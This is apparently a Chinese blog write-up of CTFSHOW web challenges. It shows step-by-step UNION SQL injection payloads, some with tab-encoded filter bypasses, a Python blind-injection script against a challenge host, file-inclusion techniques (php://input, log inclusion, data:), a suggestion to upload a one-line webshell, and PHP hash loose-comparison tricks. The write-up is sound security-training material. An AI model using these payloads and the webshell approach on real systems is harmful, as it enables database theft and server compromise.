CTFSHOW WEB题目

2023-11-13

web签到题

在这里插入图片描述

网页原代码中发现这个,base64解码就是flag

web2

在这里插入图片描述
这道题目就是最简单的SQL注入了
发现万能密码可以成功。
于是后台查询语句猜测是select ‘column’ from ‘table’ where username=’$_POST[]’&password=’$_POST[]’ limit 1,1

自己猜的熬,不一定是完全正确的。
这样的话直接闭合前面的单引号就行了。
之后就是
123’ or 1=1 union select 1,2,3#
123’ or 1=1 union select 1,database(),3#
123’ or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
123’ or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’),3#
123’ or 1=1 union select 1,(select group_concat(flag) from web2.flag),3#
在这里插入图片描述

web3

在这里插入图片描述
这道题目解法挺多的,我估计什么都没有过滤。
比如我们随便从网上,找一张图片。
在这里插入图片描述
比如就这一张图片,我们复制链接地址然后作为url的参数
在这里插入图片描述
结果出现这种情况,说明它包含进去了,那么我们可以远程文件包含的
第一种方法
在这里插入图片描述
说明php://input是可以的
第二种方法
日志包含
在这里插入图片描述
第三种方法
data协议
在这里插入图片描述

web4

这道题目肯定是有过滤或者禁用函数的
php://filter可以读一下源码,发现不可以
在这里插入图片描述
结果还是得日志包含
在这里插入图片描述
最后发现在上一层目录有flag.txt
在这里插入图片描述
如果实在找不到的话,可以自己写一个一句话木马传上去,利用蚁剑的提权找找。
在这里插入图片描述
其实也duck不必,一个find -name fl*就能找到。
顺便看看过滤了什么
在这里插入图片描述
原来是伪协议都给过滤了啊
本题目到此为止吧

web5

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
   
            if(!ctype_alpha($v1)){
   
                die("v1 error");
            }
            if(!is_numeric($v2)){
   
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
   
                echo $flag;
            }
        }else{
   
        
            echo "where is flag?";
        }
    ?>

都是很基础的题目了
这道题目需要v1是字符,v2是数字,并且他们md5值相同
这里给出答案,参考一下
md5(‘240610708’) //0e462097431906509019562988736854
md5(‘QNKCDZO’) //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。

md5(‘240610708’)==md5(‘QNKCDZO’); //True
md5(‘240610708’)===md5(‘QNKCDZO’); //False

这样的对应数值还有: var_dump(md5(‘240610708’) == md5(‘QNKCDZO’));
var_dump(md5(‘aabg7XSs’) == md5(‘aabC9RqS’));
var_dump(sha1(‘aaroZmOk’) == sha1(‘aaK1STfY’));
var_dump(sha1(‘aaO8zKZF’) == sha1(‘aa3OFF9m’)); var_dump(‘0010e2’ ==
‘1e3’); var_dump(‘0x1234Ab’ == ‘1193131’); var_dump(‘0xABCdef’ == ’
0xABCdef’);

web6

一开始试了试万能密码
发现有过滤了,然后经过初步测试就是过滤空格
在这里插入图片描述
可见,把空格替换成换行符是可以的。
然后开始流程,233
admin’%09or%091=1%09union%09select%091,2,3#

admin’%09or%091=1%09union%09select%091,database(),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘web2’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=‘flag’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#
在这里插入图片描述
此题结束

web7

一开始没往SQL注入上去想,本意是以为文件包含,浪费了不少时间。
经过初步测试,是过滤空格,我喜欢用%09来代替
做完之后发现网上的wp大部分是盲注,其实duck不必
在这里插入图片描述
人家是可以回显的。
并且我猜测后台查询语句应该会是
select 文章题目 文章内容 from table where id=’$_GET[id]’
然后走流程
1%27%09or%091=1%09union%09select%091,database(),3#

1%27%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#

没想到我直接select%09*from%09flag试试直接出来了。
中间有一个问题就是table_schema=database()可以,但是换成’web7’就没有回显了,奇了个怪的。
本题到此为止。

web8

这个题自己做了半天,完全是因为一些奇奇怪怪的问题。
写脚本的时候,用提交参数的方式不行,后来出来用regexp匹配的时候又有了一堆问题,|,^,还有大小写都可以匹配,然后自己又过滤了一遍。最后发现用了ascii()这个函数可以解决乱匹配成功的问题,不知道为什么。
附上我的垃圾脚本

import requests
TableName=''
for i in range(1,50):
    for j in range(45,127):
        url=f"http://d8feef23-5c02-41b3-9a80-6eb6d64d8a39.challenge.ctf.show:8080/index.php?id=0%09or%09(1=(substr((select%09group_concat(flag)from%09web8.flag)from%09{
     i}%09for%091)regexp(chr({
     j}))))#"
        r=requests.get(url)
        if "A Child's Dream of a Star" in r.text:
            if(chr(j)=='|'or chr(j)=='^'or chr(j)=='.'or (j>=65 and j<=90)):
                continue
            TableName+=chr(j)
            print(TableName)

web9

一开始试了试没有什么头绪,就去找找wp看,发现有源码泄露。




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
   
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
   
					while($row=mysqli_fetch_assoc($result)){
   
						 echo 
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFSHOW WEB题目 的相关文章

  • 在ros2下使用ros1_bridge与ros1自定义消息桥接

    在ros2下使用ros1 bridge与ros1自定义消息桥接 示例环境 操作系统 ubuntu 20 04 amd64 ros版本 noetic ros2版本 foxy ros1示例代码 创建ros1的工作空间catkin ws 功能包c
  • AXI4-Stream协议总结

    AXI4 Stream去掉了地址项 允许无限制的数据突发传输规模 一 接口信号描述 信号 源 描述 ACLK 时钟源 全局时钟信号 所有信号在ACLK信号上升沿采样 ARESETn 复位源 全局复位信号 ARESETn低电平有效 TVALI
  • JDBC规范——(8)异常

    当访问一个数据源时发生错误或者警告 JDBC 用 SQLException 这个类及其子类来表示并提供相关的异常信息 8 1 SQLException SQLException 由一下几部分组成 1 描述错误的文本信息 可以通过 SQLEx
  • Aspose功能演示:使用Java以编程方式在 Excel 文件中添加或修改 VBA 宏

    VBA是一种编程语言 用于在 MS Excel 文件中自动执行各种操作 特别是 VBA 宏是用户定义的代码 可加速电子表格操作任务 在本文中 将学习如何以编程方式使用 Excel 文件中的 VBA 宏 最终 将能够 使用 Java 在 Ex
  • 树莓派配置热点(即设置wifi)

    https www raspberrypi org documentation configuration wireless access point routed md 如果官网打不开 看次链接 https qinfeng blog cs
  • rollup常用插件盘点

    1 rollup plugin commonjs 将 CommonJS 模块转换为 ES2015 供 Rollup 处理 rollup plugin commonjs是一个用于将CommonJS模块转换为ES6模块的Rollup插件 它的主
  • Vue组件化学习之scoped

    简介 主要介绍scoped的作用 先弄一个案例 main js 引入vue依赖 import Vue from vue 引入组件App import App from App vue 关闭生产提示 Vue config production
  • pip install -r requirements.txt出现错误解决办法

    pip install r requirements txt安装出现以下错误解决办法如下 PS D YOLO yolov5 master gt pip install r requirements txt Collecting matplo
  • 配置IIS之虚拟目录

    什么是IIS虚拟目录 有什么优点 虚拟目录指在站点下建立一个虚拟子目录 指定一个固定的物理路径做为站点的应用路径 1 虚拟目录与父级站点共用一个应用程序池 例如 站点TestWeb c Inetpub wwwroot TestWeb 下建立
  • 安利一个实用项目--物美智能

    安利一个实用项目 可用于二次开发 官网 项目介绍 项目地址 演示地址
  • Windows 下 Redis 安装与配置 教程

    文章目录 一 Windows 下安装 Redis 的几种方式 1 微软官方维护的 Redis 2 tporadowski 维护的 Redis 3 使用 WSL 安装 Redis 4 使用gcc编译器在Windows下编译redis源码 二
  • USB转串口驱动代码分析

    1 USB插入时 创建设备 DriverObject gt DriverExtension gt AddDevice USB2COM PnPAddDevice 步一 调用USB2COM CreateDeviceObject创建功能设备对象
  • C语言中的printf与scanf函数

    1 printf函数的格式字符串 md 左对齐 若m比实际少时 按实际输出 不足右补空格 include
  • ubuntu16.04 UFactory xArm6 xarm_ros环境安装

    UFactory xArm6 的xarm ros开发 背景 环境部署 相机D435i标定 手眼标定 find object 2d or find object 3d 遇到的问题 背景 最近要对机械臂进行开发控制 部分需求是 机器人导航 摄像
  • 闪回技术概念+闪回技术的形式

    闪回技术概念 闪回技术概念 可以实现数据的迅速恢复 而且不依赖于数据备份的技术 闪回技术的形式 1闪回表 Flashback Table 将表回滚到一个过去的时间点或系统改变号scn上 用来快速恢复表 2闪回删除 Flashback Dro
  • Python 判断质数

    使用for循环和列表list判断数字是否为质数 for i in range 2 10 list for j in range 1 i 1 if i j 0 list append i if len list gt 2 print i 不是
  • Unity 资源商店无法登陆,提示链接失效 的解决办法

    出现资源商店无法登陆问题 网络换一下 用自己的手机热点连网 就可以了
  • js——undefined和undeclared

    先看例子 var a a undefined b b is not defined 这样的报错会让我们认为b也是undefined 更让人抓狂的是 var a typeof a undefined typeof b undefined 虽然
  • 分立元器件——电感器

    基本概念 1 1什么是电感器 电感器是能够把电能转为为磁能存储起来的元件 电感器具有电感 能够阻碍电流的变化 具有维持原状态的能力 即当电流突然通过时 它将阻碍电流流过一段时间 当电流突然断开后 它将维持电流一段时间 电感是描述电感器对抗电

随机推荐

  • FPGA- 红外遥控(附代码)

    目录 1 理论学习 2 实操 2 1 整体说明 2 2 红外接收模块 2 2 1 模块框图 2 2 2 状态机 2 2 3 波形图绘制 2 2 4 RTL代码 2 3 LDE灯控制模块 2 3 1 模块框图 2 3 2 波形绘制 2 3 3
  • windows Server 2012 R2扫描漏洞处理(CVE-2018-0886,CVE-2016-2183,CVE-2013-2566,CVE-2015-2808)

    介绍 公司项目安全性检查 发现windows server 2012R2服务器上有图中四个高风险和中风险漏铜需要处理 CVE 2018 0886 1 其中已经指出了解决办法 访问网址 https portal msrc microsoft
  • 你真的会用Python随机数种子吗——Python生成随机数随机种子“失效”:Jupyter中不同cell中生成的随机数不一致

    在Python中经常会生成很多随机数 例如Python自带的random库 科学计算库NumPy 深度学习框架PyTorch等都可以生成随机数 同时为了固定生产的随机数 使得随机数生成可复现 很多时候都会设置随机种子 这样每次都能生成固定的
  • Loaded runtime CuDNN library: 7.5.0 but source was compiled with: 7.6.5

    好不容易安装好CUDA和CUDNN 结果又出问题了 问题字面上的意思似乎是运行的时候使用的CUDNN版是7 5 0的 但编译的版本是7 6 5 那么问题应该是某个地方的版本不对应 网上也有类似的问题 有可能是版本过低的问题 笔者尝试降低了C
  • 因果学习介绍

    目前数据驱动的方法大多是建立数据和标签之间的关联 但是这种关联可能是有偏见或者错误的 因果学习就是想加入知识 来消除这种偏见 机器学习是在大量数据的基础上 应用一些数学理论 尽可能建立一个模型 去拟合这些数据的分布情况 这个模型就像是一个函
  • Android中音频元数据的采集,及RTMP推流

    在用手机做直播推流时 不管是录屏直播 还是摄像头直播 都要用到音频的元数据 在Android中 可以借助AudioRecord来采集音频数据 然后通过faac编码库 加入用的音频编码器是faac 将编码后的数据交给RTMP去封包后发送给服务
  • OpenJudge1.4编程基础之逻辑表达式与条件分支

    文章目录 01 判断数正负 02 输出绝对值 03 奇偶数判断 04 奇偶ASCII值判断 05 整数大小比较 06 判断是否为两位数 07 收集瓶盖赢大奖 08 判断一个数能否同时被3和5整除 09 判断能否被3 5 7整除 10 有一门
  • Qt网络编程-TcpClient入门Demo(1)

    Qt网络编程 TcpClient入门Demo 1 文章目录 Qt网络编程 TcpClient入门Demo 1 toc 1 TCP Client 1 1 示例代码结构 1 2 TCPClient流程图 1 3 实现效果 1 4 关键信号 1
  • 计算机网络实验报告:第一部分【验证性实验】

    目录 一 简介 二 验证性实验 1 ipconfig 2 ping 3 tracert 4 ARP 5 DHCP 6 netstat 7 DNS 8 cache 一 简介 本计算机网络实验教程由验证性 Wireshark 和 Cisco P
  • C# winform ListView 列宽设置

    1 设置ListView Column 0 Width 1 列宽根据列内容自适应 此时保证列内容都可见 2 设置ListView Column 0 Width 2 列宽根据列标题自适应 此时保证列标题可见
  • 生产管理系统是什么?它有哪些功能模块?

    阅读本文您将了解 1 企业生产管理的问题 2 生产管理系统模块有哪些 3 如何利用生产管理系统模块解决问题 一 企业生产管理会遇到哪些问题 生产管理是有计划 组织 指挥 监督调节的生产活动 以最少的资源损耗 获得最大的成果 是对企业生产系统
  • mybatis:基于xml的环境搭建

    前期准备 创建好数据库表对应的实体类 实体类最好实现序列化接口Serializable 创建好实体类对应的dao层接口 每一个实体类都会对应一个dao接口 每一个dao接口也都对应一个配置文件 mybatis中 约定俗成地将持久层的操作接口
  • SQL Server 2014 附加数据库---不是主数据库文件。错误5171

    在附加数据库的时候出现了 不是主数据库文件 错误5171 如下图的问题 解决方法 1 首先新建一个数据库 比如名字为Blogs 2 在Blogs上右键单击 gt 任务 gt 还原 gt 数据库 3 在下图中选择 设备 浏览找到要还原的备份集
  • JAVA如何解决并发问题

    并发问题的根源在哪 首先 我们要知道并发要解决的是什么问题 并发要解决的是单进程情况下硬件资源无法充分利用的问题 而造成这一问题的主要原因是CPU 内存 磁盘三者之间速度差异实在太大 如果将CPU的速度比作火箭的速度 那么内存的速度就像火车
  • 苹果x漫画脸_【漫画大全】:漫画韩国全集

    免费漫画大全 免费漫画公众号 免费漫画全集 漫画免费看 漫画免费大全 漫画恋爱大全 漫画免费看公众号 漫画韩国 漫画岛 漫画圈 悬疑漫画 恋爱漫画 灵异漫画 真人漫画 都市漫画 热血漫画 异能漫画 彩虹漫画 世界上有百万部漫画 这里全都有
  • 报错出现:node_modules/cache-loader

    出现这个问题 就是你vue文件里面导入的方法或者其他的东西更不存在 确认文件的相对路径是否正确 可以解决此问题 如我的
  • RecyclerView的滑动事件禁止问题

    RecyclerView的滑动事件禁止问题 网上不太负责的朋友随便抛一句recyclerview setNestedScrollingEnabled false 但是请注意 setNestedScrollingEnabled false 只
  • yolov5运行过程遇到的小问题(随时更新)

    1 关于git的问题 解决办法 插入下面代码 import os os environ GIT PYTHON REFRESH quiet 2 页面太小无法完成操作 解决办法 如果不好使再考虑降低Batch Size大小或者调整虚拟内存可用硬
  • OpenACC多GPU编程

    include
  • CTFSHOW WEB题目

    web签到题 网页原代码中发现这个 base64解码就是flag web2 这道题目就是最简单的SQL注入了 发现万能密码可以成功 于是后台查询语句猜测是select column from table where username POS